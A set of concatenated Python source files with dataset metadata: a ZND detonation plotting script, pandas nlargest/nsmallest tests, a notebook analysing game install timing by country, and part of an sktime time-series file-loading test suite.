cur_rho = cur_rho/cur_rho[-1]\n\n        _znd_plot_quantity(cur_x, cur_rho, ax, k)\n    ax.set_ylabel(r'$\\bar{\\rho}/\\bar{\\rho}_{\\mathrm{s}}$')\n    ax.set_xlabel(r'$x$')\n    ax.set_xlim((X_LIM, 0))\n    ax.set_yticks([0.0, 0.2, 0.4, 0.6, 0.8, 1.0])\n    ax.set_ylim((0, 1.0))\n        \n    # Progress variable\n    ax = axes[0, 1]\n    for k, __ in enumerate(lamda):\n        cur_x = x[k]\n        cur_lamda = lamda[k][1]\n\n        _znd_plot_quantity(cur_x, cur_lamda, ax, k)\n    ax.set_ylabel(r'$\\bar{\\lambda}$')\n    ax.set_xlabel(r'$x$')\n    ax.set_xlim((X_LIM, 0))\n    ax.set_ylim((0, 1.0))\n            \n    # Pressure\n    ax = axes[1, 0]\n    for k, __ in enumerate(p):\n        cur_x = x[k]\n        cur_p = p[k][1]\n        cur_p = cur_p/cur_p[-1]\n\n        _znd_plot_quantity(cur_x, cur_p, ax, k)\n    ax.set_ylabel(r'$\\bar{p}/\\bar{p}_{\\mathrm{s}}$')\n    ax.set_xlabel(r'$x$')\n    ax.set_xlim((X_LIM, 0))\n    ax.set_ylim((0.5, 1.0))\n        \n    # Velocity\n    ax = axes[1, 1]\n    for k, __ in enumerate(u):\n        cur_x = x[k]\n        cur_label = u[k][0]\n        cur_u = u[k][1]\n        cur_u = cur_u/cur_u[-1]\n\n        _znd_plot_quantity(cur_x, cur_u, ax, k)\n    ax.set_ylabel(r'$\\bar{u}/\\bar{u}_{\\mathrm{s}}$')\n    ax.set_xlabel(r'$x$')\n    ax.set_xlim((X_LIM, 0))\n    ax.set_ylim((0.5, 1.0))\n        \n    # Temperature\n    ax = axes[2, 0]\n    for k, __ in enumerate(p):\n        cur_x = x[k]\n        cur_p = p[k][1]\n        cur_p = cur_p / cur_p[-1]\n        cur_rho = rho[k][1]\n        cur_rho = cur_rho / cur_rho[-1]\n        cur_T = cur_p / cur_rho\n\n        _znd_plot_quantity(cur_x, cur_T, ax, k)\n    ax.set_ylabel(r'$\\bar{T}/\\bar{T}_{\\mathrm{s}}$')\n    ax.set_xlabel(r'$x$')\n    ax.set_xlim((X_LIM, 0))\n    ax.set_ylim((0.95, 2.8))\n        \n    # Reaction rate\n    ax = axes[2, 1]\n    for k, __ in enumerate(p):\n        cur_x = x[k]\n        cur_p = p[k][1]\n        cur_rho = rho[k][1]\n        cur_lamda = lamda[k][1]\n        r = (1 - cur_lamda) * np.exp(-E_ACT*cur_rho/(cur_p))\n        r = r / np.max(r)\n\n        _znd_plot_quantity(cur_x, r, ax, k)\n    ax.set_ylabel(r'$\\bar{\\omega}/\\bar{\\omega}_{\\mathrm{max}}$')\n    ax.set_xlabel(r'$x$')\n    ax.set_xlim((X_LIM, 0))\n    ax.set_ylim((0, 1.0))\n        \n    fig.tight_layout(pad=0.1, h_pad=0.55)\n    savefig('znd-solutions.pdf')\n\n\n# ---\n# ## Reading data\n\n# In[3]:\n\nx, rho, u, p, lamda = znd_read_data()\n\n\n# ---\n# ## Plotting ZND solutions\n\n# The figure below contains profiles of different quantities of ZND solution.\n# Solid lines is for $Q=0.5$, dashed line is for $Q=1.0$, dotted line is for $Q=10$, solid line with circle marker is for $Q=50$, solid line with star marker is for $Q=100$.\n\n# In[4]:\n\nznd_plot_data(x, rho, u, p, lamda)\n", "meta": {"hexsha": "59708d96404fe2a6bc302d07dd69cf0e39c6ca50", "size": 4354, "ext": "py", "lang": "Python", "max_stars_repo_path": "znd-solutions/plot-znd-solutions.py", "max_stars_repo_name": "dmitry-kabanov/euler1d-reproducibility", "max_stars_repo_head_hexsha": "b54bc1e229e15abe4190f451e266eba1ba6cdd75", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "znd-solutions/plot-znd-solutions.py", "max_issues_repo_name": "dmitry-kabanov/euler1d-reproducibility", "max_issues_repo_head_hexsha": "b54bc1e229e15abe4190f451e266eba1ba6cdd75", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "znd-solutions/plot-znd-solutions.py", "max_forks_repo_name": "dmitry-kabanov/euler1d-reproducibility", "max_forks_repo_head_hexsha": "b54bc1e229e15abe4190f451e266eba1ba6cdd75", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 24.7386363636, "max_line_length": 173, "alphanum_fraction": 0.5418006431, "include": true, "reason": "import numpy", "num_tokens": 1472, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4882833952958347, "lm_q2_score": 0.12085324040654355, "lm_q1q2_score": 0.05901063055821085}}
{"text": "\"\"\"\r\nNote: for naming purposes, most tests are title with as e.g. \"test_nlargest_foo\"\r\nbut are implicitly also testing nsmallest_foo.\r\n\"\"\"\r\nfrom string import ascii_lowercase\r\n\r\nimport numpy as np\r\nimport pytest\r\n\r\nimport pandas as pd\r\nimport pandas._testing as tm\r\n\r\n\r\n@pytest.fixture\r\ndef df_duplicates():\r\n    return pd.DataFrame(\r\n        {\"a\": [1, 2, 3, 4, 4], \"b\": [1, 1, 1, 1, 1], \"c\": [0, 1, 2, 5, 4]},\r\n        index=[0, 0, 1, 1, 1],\r\n    )\r\n\r\n\r\n@pytest.fixture\r\ndef df_strings():\r\n    return pd.DataFrame(\r\n        {\r\n            \"a\": np.random.permutation(10),\r\n            \"b\": list(ascii_lowercase[:10]),\r\n            \"c\": np.random.permutation(10).astype(\"float64\"),\r\n        }\r\n    )\r\n\r\n\r\n@pytest.fixture\r\ndef df_main_dtypes():\r\n    return pd.DataFrame(\r\n        {\r\n            \"group\": [1, 1, 2],\r\n            \"int\": [1, 2, 3],\r\n            \"float\": [4.0, 5.0, 6.0],\r\n            \"string\": list(\"abc\"),\r\n            \"category_string\": pd.Series(list(\"abc\")).astype(\"category\"),\r\n            \"category_int\": [7, 8, 9],\r\n            \"datetime\": pd.date_range(\"20130101\", periods=3),\r\n            \"datetimetz\": pd.date_range(\"20130101\", periods=3, tz=\"US/Eastern\"),\r\n            \"timedelta\": pd.timedelta_range(\"1 s\", periods=3, freq=\"s\"),\r\n        },\r\n        columns=[\r\n            \"group\",\r\n            \"int\",\r\n            \"float\",\r\n            \"string\",\r\n            \"category_string\",\r\n            \"category_int\",\r\n            \"datetime\",\r\n            \"datetimetz\",\r\n            \"timedelta\",\r\n        ],\r\n    )\r\n\r\n\r\nclass TestNLargestNSmallest:\r\n\r\n    # ----------------------------------------------------------------------\r\n    # Top / bottom\r\n    @pytest.mark.parametrize(\r\n        \"order\",\r\n        [\r\n            [\"a\"],\r\n            [\"c\"],\r\n            [\"a\", \"b\"],\r\n            [\"a\", \"c\"],\r\n            [\"b\", \"a\"],\r\n            [\"b\", \"c\"],\r\n            [\"a\", \"b\", \"c\"],\r\n            [\"c\", \"a\", \"b\"],\r\n            [\"c\", \"b\", \"a\"],\r\n            [\"b\", \"c\", \"a\"],\r\n            [\"b\", \"a\", \"c\"],\r\n            # dups!\r\n            [\"b\", \"c\", \"c\"],\r\n        ],\r\n    )\r\n    @pytest.mark.parametrize(\"n\", range(1, 11))\r\n    def test_nlargest_n(self, df_strings, nselect_method, n, order):\r\n        # GH#10393\r\n        df = df_strings\r\n        if \"b\" in order:\r\n\r\n            error_msg = (\r\n                f\"Column 'b' has dtype object, \"\r\n                f\"cannot use method '{nselect_method}' with this dtype\"\r\n            )\r\n            with pytest.raises(TypeError, match=error_msg):\r\n                getattr(df, nselect_method)(n, order)\r\n        else:\r\n            ascending = nselect_method == \"nsmallest\"\r\n            result = getattr(df, nselect_method)(n, order)\r\n            expected = df.sort_values(order, ascending=ascending).head(n)\r\n            tm.assert_frame_equal(result, expected)\r\n\r\n    @pytest.mark.parametrize(\r\n        \"columns\", [[\"group\", \"category_string\"], [\"group\", \"string\"]]\r\n    )\r\n    def test_nlargest_error(self, df_main_dtypes, nselect_method, columns):\r\n        df = df_main_dtypes\r\n        col = columns[1]\r\n        error_msg = (\r\n            f\"Column '{col}' has dtype {df[col].dtype}, \"\r\n            f\"cannot use method '{nselect_method}' with this dtype\"\r\n        )\r\n        # escape some characters that may be in the repr\r\n        error_msg = (\r\n            error_msg.replace(\"(\", \"\\\\(\")\r\n            .replace(\")\", \"\\\\)\")\r\n            .replace(\"[\", \"\\\\[\")\r\n            .replace(\"]\", \"\\\\]\")\r\n        )\r\n        with pytest.raises(TypeError, match=error_msg):\r\n            getattr(df, nselect_method)(2, columns)\r\n\r\n    def test_nlargest_all_dtypes(self, df_main_dtypes):\r\n        df = df_main_dtypes\r\n        df.nsmallest(2, list(set(df) - {\"category_string\", \"string\"}))\r\n        df.nlargest(2, list(set(df) - {\"category_string\", \"string\"}))\r\n\r\n    def test_nlargest_duplicates_on_starter_columns(self):\r\n        # regression test for GH#22752\r\n\r\n        df = pd.DataFrame({\"a\": [2, 2, 2, 1, 1, 1], \"b\": [1, 2, 3, 3, 2, 1]})\r\n\r\n        result = df.nlargest(4, columns=[\"a\", \"b\"])\r\n        expected = pd.DataFrame(\r\n            {\"a\": [2, 2, 2, 1], \"b\": [3, 2, 1, 3]}, index=[2, 1, 0, 3]\r\n        )\r\n        tm.assert_frame_equal(result, expected)\r\n\r\n        result = df.nsmallest(4, columns=[\"a\", \"b\"])\r\n        expected = pd.DataFrame(\r\n            {\"a\": [1, 1, 1, 2], \"b\": [1, 2, 3, 1]}, index=[5, 4, 3, 0]\r\n        )\r\n        tm.assert_frame_equal(result, expected)\r\n\r\n    def test_nlargest_n_identical_values(self):\r\n        # GH#15297\r\n        df = pd.DataFrame({\"a\": [1] * 5, \"b\": [1, 2, 3, 4, 5]})\r\n\r\n        result = df.nlargest(3, \"a\")\r\n        expected = pd.DataFrame({\"a\": [1] * 3, \"b\": [1, 2, 3]}, index=[0, 1, 2])\r\n        tm.assert_frame_equal(result, expected)\r\n\r\n        result = df.nsmallest(3, \"a\")\r\n        expected = pd.DataFrame({\"a\": [1] * 3, \"b\": [1, 2, 3]})\r\n        tm.assert_frame_equal(result, expected)\r\n\r\n    @pytest.mark.parametrize(\r\n        \"order\",\r\n        [[\"a\", \"b\", \"c\"], [\"c\", \"b\", \"a\"], [\"a\"], [\"b\"], [\"a\", \"b\"], [\"c\", \"b\"]],\r\n    )\r\n    @pytest.mark.parametrize(\"n\", range(1, 6))\r\n    def test_nlargest_n_duplicate_index(self, df_duplicates, n, order):\r\n        # GH#13412\r\n\r\n        df = df_duplicates\r\n        result = df.nsmallest(n, order)\r\n        expected = df.sort_values(order).head(n)\r\n        tm.assert_frame_equal(result, expected)\r\n\r\n        result = df.nlargest(n, order)\r\n        expected = df.sort_values(order, ascending=False).head(n)\r\n        tm.assert_frame_equal(result, expected)\r\n\r\n    def test_nlargest_duplicate_keep_all_ties(self):\r\n        # GH#16818\r\n        df = pd.DataFrame(\r\n            {\"a\": [5, 4, 4, 2, 3, 3, 3, 3], \"b\": [10, 9, 8, 7, 5, 50, 10, 20]}\r\n        )\r\n        result = df.nlargest(4, \"a\", keep=\"all\")\r\n        expected = pd.DataFrame(\r\n            {\r\n                \"a\": {0: 5, 1: 4, 2: 4, 4: 3, 5: 3, 6: 3, 7: 3},\r\n                \"b\": {0: 10, 1: 9, 2: 8, 4: 5, 5: 50, 6: 10, 7: 20},\r\n            }\r\n        )\r\n        tm.assert_frame_equal(result, expected)\r\n\r\n        result = df.nsmallest(2, \"a\", keep=\"all\")\r\n        expected = pd.DataFrame(\r\n            {\r\n                \"a\": {3: 2, 4: 3, 5: 3, 6: 3, 7: 3},\r\n                \"b\": {3: 7, 4: 5, 5: 50, 6: 10, 7: 20},\r\n            }\r\n        )\r\n        tm.assert_frame_equal(result, expected)\r\n\r\n    def test_nlargest_multiindex_column_lookup(self):\r\n        # Check whether tuples are correctly treated as multi-level lookups.\r\n        # GH#23033\r\n        df = pd.DataFrame(\r\n            columns=pd.MultiIndex.from_product([[\"x\"], [\"a\", \"b\"]]),\r\n            data=[[0.33, 0.13], [0.86, 0.25], [0.25, 0.70], [0.85, 0.91]],\r\n        )\r\n\r\n        # nsmallest\r\n        result = df.nsmallest(3, (\"x\", \"a\"))\r\n        expected = df.iloc[[2, 0, 3]]\r\n        tm.assert_frame_equal(result, expected)\r\n\r\n        # nlargest\r\n        result = df.nlargest(3, (\"x\", \"b\"))\r\n        expected = df.iloc[[3, 2, 1]]\r\n        tm.assert_frame_equal(result, expected)\r\n", "meta": {"hexsha": "e181a3a2cabb159914488a099898cca59cfea5a6", "size": 6942, "ext": "py", "lang": "Python", "max_stars_repo_path": "venv/Lib/site-packages/pandas/tests/frame/methods/test_nlargest.py", "max_stars_repo_name": "arnoyu-hub/COMP0016miemie", "max_stars_repo_head_hexsha": "59af664dcf190eab4f93cefb8471908717415fea", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-02-06T21:00:00.000Z", "max_stars_repo_stars_event_max_datetime": "2021-02-06T21:00:00.000Z", "max_issues_repo_path": "venv/Lib/site-packages/pandas/tests/frame/methods/test_nlargest.py", "max_issues_repo_name": "arnoyu-hub/COMP0016miemie", "max_issues_repo_head_hexsha": "59af664dcf190eab4f93cefb8471908717415fea", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "venv/Lib/site-packages/pandas/tests/frame/methods/test_nlargest.py", "max_forks_repo_name": "arnoyu-hub/COMP0016miemie", "max_forks_repo_head_hexsha": "59af664dcf190eab4f93cefb8471908717415fea", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2021-04-26T22:41:56.000Z", "max_forks_repo_forks_event_max_datetime": "2021-04-26T22:41:56.000Z", "avg_line_length": 32.7452830189, "max_line_length": 82, "alphanum_fraction": 0.4726303659, "include": true, "reason": "import numpy", "num_tokens": 2025, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4882833952958347, "lm_q2_score": 0.12085323565689977, "lm_q1q2_score": 0.05901062823903866}}
{"text": "\n# coding: utf-8\n\n# # Solution to Question 2\n\n# ## Python imports\n#\n# Before executing code cells we load some required packages and initiate database connection.\n\n# In[1]:\n\n\nimport os # directory pathfinding\nif 'notebooks' in os.getcwd(): # make sure jupyter server is in project root\n    get_ipython().run_line_magic('cd', '..')\n\n\n# In[2]:\n\n\nimport altair as alt # visualization library\nimport numpy as np  # linear algebra\nimport pandas as pd  # data processing\nfrom IPython.display import display # show interactive sliders\nfrom ipywidgets import interact # common interactivity features\nimport ipywidgets as widgets # package for interactivity\n\n# import matplotlib.pyplot as plt\n# import seaborn as sns\n# color = sns.color_palette()\n\n# alt.data_transformers.enable('json') # if number of records > 5000\nalt.renderers.enable('notebook') # Renderer for notebook (comment out if using jupyterlab)\n\nimport lib # project code package\n\n\n# In[3]:\n\n\n# create a database connection\ndatabase = os.path.realpath('../rannala_project/db/rannala_project.db')\nconn = lib.create_connection(database)\n\n\n# ## Data Journey\n#\n# Now we are ready to start exploring the dataset.\n\n# ### First 5 rows of cleaned dataset\n\n# In[4]:\n\n\n# read in dataset\ndf = pd.read_sql_query(\n    '''SELECT f.*,\n    cm.country\n    FROM q2_clean f\n    INNER JOIN country_mapping cm on\n    f.alpha_2 = cm.alpha_2;''', conn)\ndf.head()\n\n\n# ### Data types in dataframe\n\n# In[5]:\n\n\ndf.info()\n\n\n# ### Field descriptions\n#\n# - **country**: Country ISO2 code in lowercase.\n# - **hours_bucket**: Time difference in minutes between click and install, bucketed into hours. 0 means game was installs within - for 60 minutes, 1 means between 60-119 minutes, 2 means 120-179 minutes, and so on.\n# - **installs**: Number of installs in given country and time-to-install bucket.\n# - **country_total_installs**: Total number of installs in the given country, regardless of time to install.\n# - **share_within_country**: Share of installs within the given time-to-install bucket among all install in the given country\n\n# ### Some basic statistical figures\n\n# In[6]:\n\n\ndf.describe()\n\n\n# ### First impression from data\n#\n# By far most of the installs happen in the first (0) hour. One country is a much bigger player than any of the others (spoiler: the red color signifies United States).\n#\n# It will be useful to sometimes view the dataset without US, to see better the variance within other countries' data.\n\n# In[7]:\n\n\n# Altair chart\nalt.Chart(df).mark_bar().encode(\n    x='hours_bucket:O',\n    y='installs:Q',\n    color=alt.Color('Country:N', legend=None)\n).properties(\n    title='Installs by Hour Bucket (color = Country)',\n)\n\n\n# ### Initial filters to slice the dataset\n# (after setting these filters **rerun all code cells** in notebook to reload the reporting dataframe)\n#\n# - Minimum hours_bucket (default = 0)\n# - Minimum country_total_installs (default = 1000)\n# - Countries to exclude (default = None)\n#     - Hold SHIFT and click to select multiple countries for exclusion\n\n# In[8]:\n\n\n# Slider widget instance\nx = 0\nslider = widgets.IntSlider(description='bucket (min)',min=0,max=47,step=1)\nslider.value = x\ndef on_change(v):\n    x = v['new']\nslider.observe(on_change, names='value')\ndisplay(slider)\n\n\n# In[9]:\n\n\n# Slider widget instance\nx = 1000\nslider2 = widgets.IntSlider(description='country_total_installs (min)',min=0,max=50000,step=1000)\nslider2.value = x\ndef on_change(v):\n    x = v['new']\nslider2.observe(on_change, names='value')\ndisplay(slider2)\n\n\n# In[10]:\n\n\n# Slider widget instance\nslider3 = widgets.SelectMultiple(\n    options=sorted(df['Country'].unique()),\n    value=[],\n    #rows=10,\n    description='Country',\n    disabled=False\n)\ndef on_change(v):\n    value = v['new']\nslider3.observe(on_change, names='value')\ndisplay(slider3)\n\n\n# In[11]:\n\n\n# Apply initial dataset filters to new dataframe df1\ncond1 = df['hours_bucket']>= slider.value\ncond2 = df['country_total_installs']>= slider2.value\n\ndf_temp = df[cond1 & cond2]\n\ndf1 = df_temp[~df_temp['Country'].isin(list(slider3.value))]\n\n\n# ### Installs by Hour Bucket & Country\n#\n# Here the dataset has already been filtered by the three preset filters defined above.\n\n# In[12]:\n\n\n# Altair Chart\nalt.Chart(df1).mark_bar().encode(\n    x='hours_bucket:O',\n    y='installs:Q',\n    color=alt.Color('Country:N')\n).properties(\n    title='Installs by Hour Bucket (color = Country)',\n)\n\n\n# ### Further filtering in interactive mode\n#\n# In the following chart, a live filter with Hour Bucket slider can be interacted with - the visualization responds immediately. No need to rerun code cells. The three original dataset filters still apply so we can't see data which has been filtered away at that stage.\n\n# In[13]:\n\n\n# function that returns the interactive chart dataset\ndef filter_dataframe_bucket(bucket):\n    df_bucket = df1[df1['hours_bucket'] >= bucket]\n    #return df_bucket.describe()\n    return alt.Chart(df_bucket).mark_bar().encode(\n    x='hours_bucket:O',\n    y='installs:Q',\n    color=alt.Color('Country:N')\n).properties(\n    title='Installs by Hour Bucket (color = Country)',\n)\n\n\n# In[14]:\n\n\n# Altair Chart\ninteract(filter_dataframe_bucket, bucket = widgets.IntSlider(description='bucket (min)',min=0,max=47,step=1,value=1), );\n\n\n# Next chart repeats the same approach, this time with an interactive country selector dropdown.\n\n# In[15]:\n\n\n# function that returns the interactive chart dataset\ndef make_altair_chart(country):\n    chart = alt.Chart(df1[df1['Country'] == country]).mark_bar().encode(\n        alt.Y('Country:N', sort=alt.EncodingSortField(field=\"installs:Q\", op=\"sum\", order='descending')),\n        alt.X('hours_bucket:O'),\n        alt.Color('share_within_country:Q', scale=alt.Scale(scheme='greenblue'))\n        )\n    return chart\n\n\n# In[16]:\n\n\n# Altair Chart\ninteract(make_altair_chart, country = sorted(df1['Country'].unique()), );\n\n\n# ### Overview of share_within_country percentage per Hour Bucket\n#\n# For each country it is clear that the majority of installs conclude in the first (\"zero\") hour after an ad is clicked.\n\n# In[17]:\n\n\n# Altair Chart\nalt.Chart(df1).mark_bar().encode(\n        alt.Y('Country:N', sort=alt.EncodingSortField(field=\"installs\", op=\"sum\", order='descending')),\n        alt.X('hours_bucket:O'),\n    alt.Color('share_within_country:Q')\n        ).properties(\n    title='Share_within_country - Installs by Hour Bucket (color = share_within_country)',\n)\n\n\n# ### Conclusion\n#\n# - Binned Hours Bucket vs Installs\n#\n# Lets conclude by returning to the initial dataset without any filtering (only backend cleaning applied). With a simple binned chart we can conclude that the first couple hours (especially the very first hour) after click are critical. After that it becomes very unlikely that an ad-clicker would ever start the game in their mobile.\n\n# In[18]:\n\n\n# Altair Chart\nalt.Chart(df).mark_rect().encode(\n    alt.X('hours_bucket:Q', bin=alt.Bin(maxbins=10)),\n    alt.Y('installs:Q')\n)\n\n", "meta": {"hexsha": "ff1a65a777e5bf62f7f71eaf6e99bc6eacaa9168", "size": 6956, "ext": "py", "lang": "Python", "max_stars_repo_path": "lib/Solution_to_question2.py", "max_stars_repo_name": "meteorit/game-funnel-analytics", "max_stars_repo_head_hexsha": "d6c3e318feec73e88e1fdb9e238733bd8947e408", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "lib/Solution_to_question2.py", "max_issues_repo_name": "meteorit/game-funnel-analytics", "max_issues_repo_head_hexsha": "d6c3e318feec73e88e1fdb9e238733bd8947e408", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "lib/Solution_to_question2.py", "max_forks_repo_name": "meteorit/game-funnel-analytics", "max_forks_repo_head_hexsha": "d6c3e318feec73e88e1fdb9e238733bd8947e408", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 25.8587360595, "max_line_length": 334, "alphanum_fraction": 0.7129097182, "include": true, "reason": "import numpy", "num_tokens": 1711, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4882833952958347, "lm_q2_score": 0.1208532261576127, "lm_q1q2_score": 0.059010623600694506}}
{"text": "# -*- coding: utf-8 -*-\n\"\"\"Test functions for data input and output.\"\"\"\n\n__author__ = [\n    \"SebasKoel\",\n    \"Emiliathewolf\",\n    \"TonyBagnall\",\n    \"jasonlines\",\n]\n\n__all__ = []\n\nimport os\nimport tempfile\n\nimport numpy as np\nimport pandas as pd\nimport pytest\nfrom pandas._testing import assert_frame_equal\n\nimport sktime\nfrom sktime.datasets import (\n    generate_example_long_table,\n    load_from_long_to_dataframe,\n    load_from_tsfile,\n    load_from_tsfile_to_dataframe,\n    load_uschange,\n    write_dataframe_to_tsfile,\n)\nfrom sktime.datasets._data_io import MODULE\n\n\ndef test_load_from_tsfile():\n    \"\"\"Test function for loading TS formats.\n\n    Test\n    1. Univariate equal length (UnitTest) returns 2D numpy X, 1D numpy y\n    2. Multivariate equal length (BasicMotions) returns 3D numpy X, 1D numpy y\n    3. Univariate and multivariate unequal length (PLAID) return X as DataFrame\n    \"\"\"\n    data_path = MODULE + \"/data/UnitTest/UnitTest_TRAIN.ts\"\n    # Test 1.1: load univariate equal length (UnitTest), should return 2D array and 1D\n    # array, test first and last data\n    # Test 1.2: Load a problem without y values (UnitTest),  test first and last data.\n    X, y = load_from_tsfile(data_path, return_data_type=\"np2D\")\n    X2 = load_from_tsfile(data_path, return_y=False, return_data_type=\"np2D\")\n    assert isinstance(X, np.ndarray) and isinstance(y, np.ndarray)\n    assert X.ndim == 2 and X2.ndim == 2\n    assert X.shape == (20, 24) and y.shape == (20,)\n    assert X[0][0] == 573.0\n    X2 = load_from_tsfile(data_path, return_y=False, return_data_type=\"numpy3D\")\n    assert isinstance(X2, np.ndarray)\n    assert X2.ndim == 3\n    assert X2.shape == (20, 1, 24)\n    assert X2[0][0][0] == 573.0\n\n    # Test 2: load multivare equal length (BasicMotions), should return 3D array and 1D\n    # array, test first and last data.\n    data_path = MODULE + \"/data/BasicMotions/BasicMotions_TRAIN.ts\"\n    X, y = load_from_tsfile(data_path, return_data_type=\"numpy3d\")\n    assert isinstance(X, np.ndarray) and isinstance(y, np.ndarray)\n    assert X.shape == (40, 6, 100) and y.shape == (40,)\n    assert X[1][2][3] == -1.898794\n    X, y = load_from_tsfile(data_path)\n    assert isinstance(X, pd.DataFrame) and isinstance(y, np.ndarray)\n    assert X.shape == (40, 6) and y.shape == (40,)\n    assert isinstance(X.iloc[1, 2], pd.Series)\n    assert X.iloc[1, 2].iloc[3] == -1.898794\n\n    # Test 3.1: load univariate unequal length (PLAID), should return a one column\n    # dataframe,\n    data_path = MODULE + \"/data/PLAID/PLAID_TRAIN.ts\"\n    X, y = load_from_tsfile(full_file_path_and_name=data_path)\n    assert isinstance(X, pd.DataFrame) and isinstance(y, np.ndarray)\n    assert X.shape == (537, 1) and y.shape == (537,)\n    # Test 3.2: load multivariate unequal length (JapaneseVowels), should return a X\n    # columns dataframe,\n    data_path = MODULE + \"/data/JapaneseVowels/JapaneseVowels_TRAIN.ts\"\n    X, y = load_from_tsfile(full_file_path_and_name=data_path)\n    assert isinstance(X, pd.DataFrame) and isinstance(y, np.ndarray)\n    assert X.shape == (270, 12) and y.shape == (270,)\n\n\n_CHECKS = {\n    \"uschange\": {\n        \"columns\": [\"Income\", \"Production\", \"Savings\", \"Unemployment\"],\n        \"len_y\": 187,\n        \"len_X\": 187,\n        \"data_types_X\": {\n            \"Income\": \"float64\",\n            \"Production\": \"float64\",\n            \"Savings\": \"float64\",\n            \"Unemployment\": \"float64\",\n        },\n        \"data_type_y\": \"float64\",\n        \"data\": load_uschange(),\n    },\n}\n\n\n@pytest.mark.parametrize(\"dataset\", sorted(_CHECKS.keys()))\ndef test_data_loaders(dataset):\n    \"\"\"\n    Assert if datasets are loaded correctly.\n\n    dataset: dictionary with values to assert against should contain:\n        'columns' : list with column names in correct order,\n        'len_y'   : lenght of the y series (int),\n        'len_X'   : lenght of the X series/dataframe (int),\n        'data_types_X' : dictionary with column name keys and dtype as value,\n        'data_type_y'  : dtype if y column (string)\n        'data'    : tuple with y series and X series/dataframe if one is not\n                    applicable fill with None value,\n    \"\"\"\n    checks = _CHECKS[dataset]\n    y = checks[\"data\"][0]\n    X = checks[\"data\"][1]\n\n    if y is not None:\n        assert isinstance(y, pd.Series)\n        assert len(y) == checks[\"len_y\"]\n        assert y.dtype == checks[\"data_type_y\"]\n\n    if X is not None:\n        if len(checks[\"data_types_X\"]) > 1:\n            assert isinstance(X, pd.DataFrame)\n        else:\n            assert isinstance(X, pd.Series)\n\n        assert X.columns.values.tolist() == checks[\"columns\"]\n\n        for col, dt in checks[\"data_types_X\"].items():\n            assert X[col].dtype == dt\n\n        assert len(X) == checks[\"len_X\"]\n\n\ndef test_load_from_tsfile_to_dataframe():\n    \"\"\"Test the load_from_tsfile_to_dataframe() function.\"\"\"\n    # Test that an empty file is classed an invalid\n    fd, path = tempfile.mkstemp()\n    try:\n        with os.fdopen(fd, \"w\") as tmp_file:\n            # Write the contents of the file\n            file_contents = \"\"\n            tmp_file.write(file_contents)\n            tmp_file.flush()\n            # Parse the file and assert that it is invalid\n            np.testing.assert_raises(IOError, load_from_tsfile_to_dataframe, path)\n    finally:\n        os.remove(path)\n    # Test that a file with an incomplete set of metadata is invalid\n    fd, path = tempfile.mkstemp()\n    try:\n        with os.fdopen(fd, \"w\") as tmp_file:\n            # Write the contents of the file\n            file_contents = (\n                \"@problemName Test Problem\\n@timeStamps \" \"true\\n@univariate true\\n\"\n            )\n            tmp_file.write(file_contents)\n            tmp_file.flush()\n            # Parse the file and assert that it is invalid\n            np.testing.assert_raises(IOError, load_from_tsfile_to_dataframe, path)\n    finally:\n        os.remove(path)\n    # Test that a file with a complete set of metadata but no data is invalid\n    fd, path = tempfile.mkstemp()\n    try:\n        with os.fdopen(fd, \"w\") as tmp_file:\n            # Write the contents of the file\n            file_contents = (\n                \"@problemName Test Problem\\n@timeStamps \"\n                \"true\\n@univariate true\\n@classLabel false\\n@data\"\n            )\n            tmp_file.write(file_contents)\n            tmp_file.flush()\n            # Parse the file and assert that it is invalid\n            np.testing.assert_raises(IOError, load_from_tsfile_to_dataframe, path)\n    finally:\n        os.remove(path)\n    # Test that a file with a complete set of metadata and no data but\n    # invalid metadata values is invalid\n    fd, path = tempfile.mkstemp()\n    try:\n        with os.fdopen(fd, \"w\") as tmp_file:\n            # Write the contents of the file\n            file_contents = (\n                \"@problemName\\n@timeStamps\\n@univariate \"\n                \"true\\n@classLabel false\\n@data\"\n            )\n            tmp_file.write(file_contents)\n            tmp_file.flush()\n            # Parse the file and assert that it is invalid\n            np.testing.assert_raises(IOError, load_from_tsfile_to_dataframe, path)\n    finally:\n        os.remove(path)\n    # Test that a file with a complete set of metadata and a single\n    # case/dimension parses correctly\n    fd, path = tempfile.mkstemp()\n    try:\n        with os.fdopen(fd, \"w\") as tmp_file:\n            # Write the contents of the file\n            file_contents = (\n                \"@problemName Test Problem\\n@timeStamps \"\n                \"true\\n@univariate true\\n@classLabel \"\n                \"false\\n@data\\n\"\n            )\n            file_contents += \"(0, 1), (1, 2)\"\n\n            tmp_file.write(file_contents)\n            tmp_file.flush()\n            # Parse the file\n            df = load_from_tsfile_to_dataframe(path)\n            # Test the DataFrame returned accurately reflects the data in\n            # the file\n            np.testing.assert_equal(len(df), 1)\n            np.testing.assert_equal(len(df.columns), 1)\n            series = df[\"dim_0\"]\n            np.testing.assert_equal(len(series), 1)\n            series = df[\"dim_0\"][0]\n            np.testing.assert_equal(series[0], 1.0)\n            np.testing.assert_equal(series[1], 2.0)\n    finally:\n        os.remove(path)\n    # Test that a file with a 